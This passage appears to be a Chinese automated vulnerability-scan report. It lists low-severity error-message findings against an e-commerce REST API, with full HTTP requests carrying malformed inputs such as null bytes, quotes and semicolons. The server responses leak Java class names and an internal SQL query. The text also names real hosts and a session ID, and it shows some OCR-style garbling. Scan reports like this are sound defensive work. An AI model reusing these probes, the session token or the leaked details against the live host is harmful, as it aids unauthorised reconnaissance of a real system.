推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|5/10

差异:

参数 从以下位置进行控制: 15 至:)

推理:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=) HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

变体-|6/10

差异: 参数 从以下位置进行控制: 15 至: §00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

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测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=%00&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|7/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=15XYZ&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15XYZ"
```

变体- | 8 / 10

差异: 参数 从以下位置进行控制: 15 至: \$27

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 推理: 测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=%27&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|9/10

推理:

参数 从以下位置进行控制: 15 至: ; 差异:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=;&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

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变体- | 10 / 10

差异: 参数 从以下位置进行控制: 15 至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=)&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: \star
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

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应用程序针	世 误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	start (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/9

差异: 参数 从以下位置进行控制: 0 至: 800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /goodsRestApi/getGoodsStockList?

```
draw=1&start=%00&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: " "
```

变体-|2/9

差异: 参数 从以下位置进行控制: 0 至: 0xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0XYZ&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "OXYZ"
```

变体-|3/9

差异: 参数 从以下位置进行控制: start 至: __ORIG_VAL_.

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start.=0&length=15&search%5Dvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
null
```

变体-|4/9

差异: 参数 从以下位置进行控制: start 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1\&start\$5B\$5D=0\&length=15\&search\$5Bvalue\$5D=\&search\$5Bregex\$5D=false\&pageNum=1\&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&searchValue=1&
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
null
```

变体-|5/9

差异: 参数 从以下位置进行控制: ① 至: —

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /goodsRestApi/getGoodsStockList? draw=1&start=&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html Connection: keep-alive Host: vr-goods-rest-enterprise.mall.xt.weilian.cn Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn Accept-Language: en-US, en; q=0.8 sessionId: c5b8689a1098705cd3ffdff0d57563a1 HTTP/1.1 500 Internal Server Error Access-Control-Allow-Headers: x-requested-with, content-type, sessionid Server: openresty Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS Access-Control-Allow-Origin: * Connection: keep-alive Date: Fri, 12 Jan 2018 03:20:58 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked For input string: ""

变体-|6/9

差异: 参数 已从请求除去: 0

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
nu11
```

变体-|7/9

差异: 参数 从以下位置进行控制: 0 至: %27

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=%27&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|8/9

差异: 参数 从以下位置进行控制: ① 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=; &length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|9/9

差异: 参数 从以下位置进行控制: ① 至: ①

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=)&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ")"
```

问题 7 / 43 Toc

应用程序针	借误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsAddToSave
实体:	->"goodsname" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/2

差异: 参数 从以下位置进行控制: (->"goodsname") 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /goodsRestApi/goodsAddToSave HTTP/1.1
Content-Length: 625
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "goodsname.": "werdhgf",
 "goodstype": "0",
 "goodscode": "0200202",
 "goodsid": "",
 "status": "1",
 "goodsclassid": "2702",
 "goodsclassname": "\u529e\u516c\u8017\u6750",
 "goodsclassnameek": "02",
 "goodsspec": "hh",
 "goodsmodel": "resadsa",
 "baseprice": "999",
"goodsunit": "gechi",
 "brandname": "dsfdsafsa",
 "brandid": "",
 "opcode": "",
"barcode": "rewqrewq",
 "approvaltypeid": "1",
 "gsbmid": "3",
 "level": "4",
 "goodslevelid": "3",
 "inputmanname": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "inputmanid": "2",
"bookindateStr": "2018-01-11 18:55:56",
 "goodsimgurl": " http://cms.mall.xt.weilian.cn/d/4050941e4e7cba7c418d26267922015f",
 "basegoodsimgurl": "",
 "dtlgoodsimgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "goodsname." (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not marked as
ignorable
at [Source: io.netty.buffer.ByteBufInputStream@18f50a15; line: 1, column: 16] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsname."])
```

变体-|2/2

差异: 参数 从以下位置进行控制: ->"goodsname" 至: ORIG VAL []

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
POST /goodsRestApi/goodsAddToSave HTTP/1.1
Content-Length: 626
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "goodsname[]": "werdhqf",
 "goodstype": "0",
"goodscode": "0200202",
 "goodsid": "",
 "status": "1",
 "goodsclassid": "2702",
 "goodsclassname": "\u529e\u516c\u8017\u6750",
 "goodsclassnameek": "02",
 "goodsspec": "hh",
 "goodsmodel": "resadsa",
 "baseprice": "999",
"goodsunit": "gechi",
 "brandname": "dsfdsafsa",
 "brandid": "",
 "opcode": "",
 "barcode": "rewqrewq",
 "approvaltypeid": "1",
 "gsbmid": "3",
"level": "4",
 "goodslevelid": "3",
 "inputmanname": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "inputmanid": "2",
 "bookindateStr": "2018-01-11 18:55:56",
"goodsimgurl": " http://cms.mall.xt.weilian.cn/d/4050941e4e7cba7c418d26267922015f",
"basegoodsimgurl": "",
 "dtlgoodsimgurl": ""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:25 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "goodsname[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsDO), not marked as
ignorable
 at [Source: io.netty.buffer.ByteBufInputStream@62daab27; line: 1, column: 17] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsDO["goodsname[]"])
```

问题 8 / 43 Toc

应用程序针	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	searchValue (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

差异: 参数 从以下位置进行控制: - 至: 😵00

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=%00
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
\verb|### Error querying database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte
sequence for encoding "UTF8": 0x00
### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-enterprise-1.0.0-
SNAPSHOT.jar!/mybatisMap/PubGoodsStockMapper.xml]
### The error may involve com.suneee.scn.goods.dao.PubGoodsStockDao.getGoodsStockListCount-Inline
### The error occurred while setting parameters
                                                               INNER JOIN pub_goods pg on
### SQL: select count(1) from pub_goods_stock pgs
pgs.goodsid=pg.goodsid and pg.status =1 WHERE pgs.enterpriseid =?
                                                                         and pgs.departmentid=?
and (pg.goodsname like '%'||?||'%' OR pg.goodscode like '%'||?||'%')
### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8":
0x00
; SQL []; ERROR: invalid byte sequence for encoding "UTF8": 0x00; nested exception is
org.postgresgl.util.PSQLException: ERROR: invalid byte sequence for encoding "UTF8": 0x00
```

问题 9 / 43 Toc

应用程序针	带误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassList
实体:	classcode (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

差异: 参数 从以下位置进行控制: 03 至: 1800

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=7&start=0&length=15&search%5Breqex%5D=false&pageNum=1&classcode=%00&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
